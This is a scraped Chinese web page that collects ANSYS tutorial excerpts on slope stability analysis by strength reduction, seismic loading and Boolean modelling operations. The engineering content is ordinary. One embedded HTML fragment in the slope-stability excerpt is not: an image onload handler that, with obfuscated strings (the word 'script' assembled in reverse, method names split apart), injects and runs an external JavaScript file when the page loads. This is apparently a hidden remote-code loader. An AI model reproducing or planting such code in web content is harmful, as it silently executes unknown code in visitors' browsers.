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登錄ansys 布爾減法的案例
ANSYS強度折減法邊坡穩定性分析及地震荷載分析 ¥30
采用ANSYS有限元強度折減方法對滑坡穩定系數進行求解,通過有限元強度折減方法對不同工況下滑坡穩定系數進行計算,并將模擬計算值與極限平衡方法進行對比,驗證了強度折減方法的有效性。
有限元強度折減法是20世紀70年代末由英國科學家Zienkiewicz提出的,是通過不斷提高強度折減系數來降低坡體巖土抗剪強度參數,并反復試算,直到達到極限破壞狀態,程序自動根據彈塑性有限元計算結果得到滑動破壞面,同時得到滑坡的強度儲備安全系數。該方法在理論體系上比極限平衡法更嚴格,它全面滿足了靜力許可、應變相容以及土體的非線性應力-應變關系。
地震荷載加載前需要對模型進行模態分析求解,來獲得固有頻率及瑞麗阻尼系數,然后再對模型進行動態加載。
第一步:模型建立、施加邊界條件、自重工況下強度折減
第二步:模態分析求解
第三步:求解瑞麗阻尼系數、地震波加載
展開 ANSYS強度折減法邊坡穩定分析實例
下面來大致描述ANSYS邊坡應用實例
ANSYS邊坡穩定性分析一般分以下幾個步驟:
①創建物理環境;②建立模型,劃分網格,對模型的不同區域賦予特性
③加邊界條件和載荷;④求解;⑤后處理(查看計算結果)
巖土高邊坡模型與網格劃分
邊坡圍巖材料參數
表1 邊坡模型圍巖參數
類別
彈性模量/GPa
泊松比
容重/
內聚力
/MPa
摩擦角
(。)
圍巖1(彈塑性)
10
0.30
2645
0.8
32
進行邊坡穩定性分析計算時,采用強度折減法來實現。首先選取初始折減系數F,然后對邊坡土體材料強度系數進行折減,折減后凝聚力以及摩擦角分別式(1)和式(2)。
強度折減系數F=1.0時計算結果分析
X方向變形云圖
整體位移矢量云圖
強度折減系數F=2.2時計算結果分析
強度折減系數F=2.24時計算結果分析
強度折減系數F=2.28時計算結果分析----求解不收斂,說明此時邊坡發生失穩。
展開 基于ANSYS的碼頭邊坡強度折減法穩定分析算例
強度折減系數
進行邊坡穩定性分析計算時,采用強度折減法來實現。首先選取初始折減系數F,然后對邊坡土體材料強度系數進行折減,折減后凝聚力以及摩擦角分別見式1-1和式1-2。
土層材料參數
下面開始進行建模,通過點-線-面的方式逐步建立模型。
可在AutoCAD中找出關鍵點的坐標,然后逐步開始建模,也可以通過在CAD圖紙中創建面域,然后輸出為sat文件,之后導入到ANSYS中。兩種方式皆可。
各區域材料不同顏色顯示
采用Plane82單元來模擬,將單元選項設置為平面應變Plane strain.
在ANSYS經典中創建好的幾何模型
通過設置劃分網格單元尺寸,對上述幾何模型進行劃分,有限元網格如圖所示。
對模型施加邊界條件,左右兩側約束法向位移,底部約束UX UY方向自由度。
(一)僅自重下的部分計算結果
靜力通用求解,自重下的位移分布矢量云圖。
UX方向位移云圖
UY方向位移云圖
(二)對土體參數進行不同程度的折減,以下為折減系數為1.4時的部分計算結果。
考慮左側靜水壓力時的計算荷載示意圖。
UX方向位移云圖
整體位移云圖
X方向應變云圖
(三)折減為1.6時,計算求解不收斂,終止退出計算。
UX方向位移云圖
邊坡ux位移云圖
樁體部分的應力分布
目前,判斷土坡達到臨界破壞的評價標準主要有以下幾種:
(1) 以數值計算是否收斂作為評價標準;
(2) 以選取特征點的位移是否發生突變作為評價標準;
(3) 以是否形成連續的塑性貫通區域最為評價標準。
展開 【ANSYS算例】利用強度折減法對邊坡進行穩定分析
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202108/imgs/a56b193ab638461b9c8a36d9245e7e13"></p><p><strong>點擊藍字</strong> 關注我們</p><p><img src="https://img.jishulink.com/202108/imgs/255357fd6cdd4659a9d06ce34a12eaf0"></p><p><img src="https://img.jishulink.com/202108/imgs/fb94d1ef3ab34159ad3f7335d763cf74"></p><p> 好久沒有更新算例了,這期更新一個小算例,用強度折減法計算邊坡的穩定性,用ANSYS軟件計算,ABAQUS的算例我前面寫了兩篇,感興趣的可以看看。</p><p><br></p><p> 邊坡的尺寸及參數與之前的ABAQUS的邊坡算例相同。模型如下。
展開 
ANSYS Workbench布爾運算
前面兩篇介紹了Solidworks和ANSYS經典界面中的布爾運算,本期當然是介紹Workbench布爾運算了,WB自帶的強大建模工具怎能遺漏呢。
下面娓娓道來,想學好Workbench建模技術的童鞋看仔細了哈。
WorkbenchDesignModeler中實體間的布爾運算包括如下幾種:Unite(相加),Subtract(相減), Intersect(相交), Imprint Faces(印記面)。
關于印記面的專題介紹請參考什么是印記面?。
還包括其它形式的布爾運算如:Add Material,Cut Material, Slice.
布爾運算的菜單入口如下圖1。
圖1 布爾運算菜單入口
下面以一個小模型來演示布爾運算使用方法,方便大家理解。下圖是一個花鍵軸和圓盤組合在一起(有重合)。
圖2 演示幾何模型
1.Unite
Unite操作起來很簡單,只需要選中這里的軸和圓盤2 Bodies,Generate 一下就可以了,然后之前選中的2個實體就變成了一個新的實體了。如下圖3所示。
圖3選擇兩個實體進行Unite元算
Unite和add material 有些類似,但是Add Material操作只能在導入模型、生成新體時使用,而Unite操作可以在現有的模型中使用。
2. Subtract
WB DM中的Subtract功能也是與經典界面中的同出一轍,但稍遜于后者。新手需要特別注意Target Bodies 與Tool Bodies的區別!這兩項是必選項,很有必要弄清楚概念。Target Bodies是你需要減的母體,而Tools Bodies是你做減法所用的工具。即Target Bodies -Tool Bodies=期望得到的實體。
展開 ANSYS布爾運算介紹
布爾操作注意事項:
1. 在缺省情況下,布爾操作完成后,輸入的圖元被刪除。
2. 被刪除的圖元編號變成“自由”的(這些自由的編號將賦給新創建的圖元,從最小的編號開始)
3. 已劃分網格的實體模型,對布爾運算無效。必須先清楚網格,再進行布爾運算。
4. 在對實體模型進行網格劃分前,一般需要對其進行相關的布爾操作,以便使實體模型成為一個整體,使劃分后網格連續。
5. 布爾操作是一個危險性的運算,在操作之前建議先存儲文件或命令流,再進行布爾操作。以免結果不對時可及時恢復文件。
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